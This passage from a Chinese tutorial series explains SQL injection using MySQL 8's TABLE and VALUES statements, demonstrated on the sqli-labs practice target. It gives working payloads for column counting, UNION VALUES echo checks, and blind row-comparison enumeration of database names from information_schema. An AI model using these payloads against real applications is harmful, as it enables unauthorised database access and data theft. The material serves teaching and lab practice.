主页 > 网络知识 > 浅谈利用mysql8新特性进行SQL注入(3)

浅谈利用mysql8新特性进行SQL注入(3)

 

浅谈利用mysql8新特性进行SQL注入

 

2.最好用<=替换<,用<比较一开始并没有问题,但到最后一位时结果为正确字符的前一个字符,用<=结果更直观。

 

浅谈利用mysql8新特性进行SQL注入

 

最终判断过程如下:

mysql> select ((1,'Dumb','Dumb')<=(table users limit 1)); +--------------------------------------------+ | ((1,'Dumb','Dumb')<=(table users limit 1)) | +--------------------------------------------+ | 1 | +--------------------------------------------+ 1 row in set (0.00 sec) mysql> select ((1,'Dumb','Dumc')<=(table users limit 1)); +--------------------------------------------+ | ((1,'Dumb','Dumc')<=(table users limit 1)) | +--------------------------------------------+ | 0 | +--------------------------------------------+ 1 row in set (0.00 sec) 2、在sqli-labs靶场测试 1.判断列数

使用经典的order by语句判断:

1' order by 3--+ #正常 1' order by 4--+ #显示Unknown column '4' in 'order clause'

说明有3列

2.使用values判断回显位 -1' union values row(1,2,3)--+

 

浅谈利用mysql8新特性进行SQL注入

 

3.爆库爆表爆字段爆数据

(1)爆当前数据库

-1' union values row(1,database(),3)--+ #或利用盲注1' and ascii(substr((database()),1,1))=115--+ 即s

(2)爆所有数据库
因为table不能像select控制列数,除非列数一样的表,不然都回显不出来。
需要使用table查询配合无列名盲注
information_schema.schemata表有6列
因为schemata表中的第一列是def,不需要判断,所以可以直接判断库名

1' and ('def','m','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常 1' and ('def','n','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误 #得到第1个数据库名的第一个字符为m ...... 1' and ('def','mysql','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常 1' and ('def','mysqm','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显错误

说明第1个数据库名为mysql

 

浅谈利用mysql8新特性进行SQL注入

 

 

浅谈利用mysql8新特性进行SQL注入

 

1' and ('def','information_schema','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显正常 1' and ('def','information_schemb','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显错误 #说明第2个数据库名为information_schema ...... 一直猜解,直到获得全部数据库名
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!